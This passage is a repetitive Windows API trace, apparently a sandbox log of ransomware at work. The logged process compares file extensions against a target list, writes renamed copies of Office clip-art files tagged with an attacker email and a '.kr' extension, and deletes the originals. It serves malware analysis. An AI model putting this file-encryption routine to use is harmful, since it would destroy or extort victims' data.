(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.642] lstrlenW (lpString=".dbf") returned 4 [0188.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.642] lstrlenW (lpString=".1cd") returned 4 [0188.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.642] lstrlenW (lpString=".jpg") returned 4 [0188.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.642] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.642] lstrlenW (lpString="DD01179_.WMF") returned 12 [0188.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.643] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2024) returned 1 [0188.643] CloseHandle (hObject=0x36c) returned 1 [0188.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0188.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.644] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.644] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0188.644] GetLastError () returned 0x0 [0188.644] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7e8, lpOverlapped=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0188.647] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.647] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.647] SetEndOfFile (hFile=0x370) returned 1 [0188.647] CloseHandle (hObject=0x370) returned 1 [0188.647] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.647] SetEndOfFile (hFile=0x36c) returned 1 [0188.651] CloseHandle (hObject=0x36c) returned 1 [0188.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0188.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.833] lstrlenW (lpString=".doc") returned 4 [0188.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.833] lstrlenW (lpString=".docx") returned 5 [0188.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.833] lstrlenW (lpString=".pdf") returned 4 [0188.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.833] lstrlenW (lpString=".xls") returned 4 [0188.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.833] lstrlenW (lpString=".xlsx") returned 5 [0188.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.833] lstrlenW (lpString=".ppt") returned 4 [0188.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.833] lstrlenW (lpString=".zip") returned 4 [0188.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.833] lstrlenW (lpString=".rar") returned 4 [0188.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.833] lstrlenW (lpString=".bz2") returned 4 [0188.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.833] lstrlenW (lpString=".7z") returned 3 [0188.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString=".dbf") returned 4 [0188.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString=".1cd") returned 4 [0188.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString=".jpg") returned 4 [0188.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString=".doc") returned 4 [0188.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString=".docx") returned 5 [0188.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.834] lstrlenW (lpString=".pdf") returned 4 [0188.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString=".xls") returned 4 [0188.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.834] lstrlenW (lpString=".xlsx") returned 5 [0188.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.834] lstrlenW (lpString=".ppt") returned 4 [0188.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.834] lstrlenW (lpString=".zip") returned 4 [0188.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.834] lstrlenW (lpString=".rar") returned 4 [0188.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString=".bz2") returned 4 [0188.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.834] lstrlenW (lpString=".7z") returned 3 [0188.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.835] lstrlenW (lpString=".dbf") returned 4 [0188.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.835] lstrlenW (lpString=".1cd") returned 4 [0188.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0188.835] lstrlenW (lpString=".jpg") returned 4 [0188.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.835] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.835] lstrlenW (lpString="DD01181_.WMF") returned 12 [0188.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0188.976] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1448) returned 1 [0188.976] CloseHandle (hObject=0x54c) returned 1 [0188.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0188.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0188.976] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.976] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0189.140] GetLastError () returned 0x0 [0189.140] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5a8, lpOverlapped=0x0) returned 1 [0189.142] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0189.143] ReadFile (in: hFile=0x54c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.143] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0189.143] SetEndOfFile (hFile=0x500) returned 1 [0189.144] CloseHandle (hObject=0x500) returned 1 [0189.144] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.144] SetEndOfFile (hFile=0x54c) returned 1 [0189.147] CloseHandle (hObject=0x54c) returned 1 [0189.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0189.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.149] lstrlenW (lpString=".doc") returned 4 [0189.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.149] lstrlenW (lpString=".docx") returned 5 [0189.149] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.149] lstrlenW (lpString=".pdf") returned 4 [0189.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.149] lstrlenW (lpString=".xls") returned 4 [0189.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.149] lstrlenW (lpString=".xlsx") returned 5 [0189.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.149] lstrlenW (lpString=".ppt") returned 4 [0189.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.149] lstrlenW (lpString=".zip") returned 4 [0189.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.149] lstrlenW (lpString=".rar") returned 4 [0189.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.149] lstrlenW (lpString=".bz2") returned 4 [0189.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.149] lstrlenW (lpString=".7z") returned 3 [0189.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.150] lstrlenW (lpString=".dbf") returned 4 [0189.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.150] lstrlenW (lpString=".1cd") returned 4 [0189.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.150] lstrlenW (lpString=".jpg") returned 4 [0189.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.150] lstrlenW (lpString=".doc") returned 4 [0189.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString=".docx") returned 5 [0189.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.150] lstrlenW (lpString=".pdf") returned 4 [0189.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString=".xls") returned 4 [0189.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.150] lstrlenW (lpString=".xlsx") returned 5 [0189.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.150] lstrlenW (lpString=".ppt") returned 4 [0189.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.151] lstrlenW (lpString=".zip") returned 4 [0189.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.151] lstrlenW (lpString=".rar") returned 4 [0189.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.151] lstrlenW (lpString=".bz2") returned 4 [0189.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.151] lstrlenW (lpString=".7z") returned 3 [0189.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.151] lstrlenW (lpString=".dbf") returned 4 [0189.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.151] lstrlenW (lpString=".1cd") returned 4 [0189.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0189.151] lstrlenW (lpString=".jpg") returned 4 [0189.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.152] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.152] lstrlenW (lpString="DD01629_.WMF") returned 12 [0189.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0189.173] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=580) returned 1 [0189.173] CloseHandle (hObject=0x544) returned 1 [0189.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0189.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0189.174] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.174] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0189.175] GetLastError () returned 0x0 [0189.175] ReadFile (in: hFile=0x544, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x244, lpOverlapped=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x250, lpOverlapped=0x0) returned 1 [0189.177] ReadFile (in: hFile=0x544, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.177] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0189.177] SetEndOfFile (hFile=0x3f8) returned 1 [0189.178] CloseHandle (hObject=0x3f8) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] SetEndOfFile (hFile=0x544) returned 1 [0189.214] CloseHandle (hObject=0x544) returned 1 [0189.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0189.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.216] lstrlenW (lpString=".doc") returned 4 [0189.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.216] lstrlenW (lpString=".docx") returned 5 [0189.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.216] lstrlenW (lpString=".pdf") returned 4 [0189.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.216] lstrlenW (lpString=".xls") returned 4 [0189.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.216] lstrlenW (lpString=".xlsx") returned 5 [0189.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.216] lstrlenW (lpString=".ppt") returned 4 [0189.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.216] lstrlenW (lpString=".zip") returned 4 [0189.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.216] lstrlenW (lpString=".rar") returned 4 [0189.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString=".bz2") returned 4 [0189.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString=".7z") returned 3 [0189.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.217] lstrlenW (lpString=".dbf") returned 4 [0189.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.217] lstrlenW (lpString=".1cd") returned 4 [0189.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.217] lstrlenW (lpString=".jpg") returned 4 [0189.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.217] lstrlenW (lpString=".doc") returned 4 [0189.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString=".docx") returned 5 [0189.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.217] lstrlenW (lpString=".pdf") returned 4 [0189.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString=".xls") returned 4 [0189.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.217] lstrlenW (lpString=".xlsx") returned 5 [0189.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.217] lstrlenW (lpString=".ppt") returned 4 [0189.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.218] lstrlenW (lpString=".zip") returned 4 [0189.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.218] lstrlenW (lpString=".rar") returned 4 [0189.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.218] lstrlenW (lpString=".bz2") returned 4 [0189.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.218] lstrlenW (lpString=".7z") returned 3 [0189.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.218] lstrlenW (lpString=".dbf") returned 4 [0189.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.218] lstrlenW (lpString=".1cd") returned 4 [0189.218] lstrcmpiW (lpString1=".1cd", 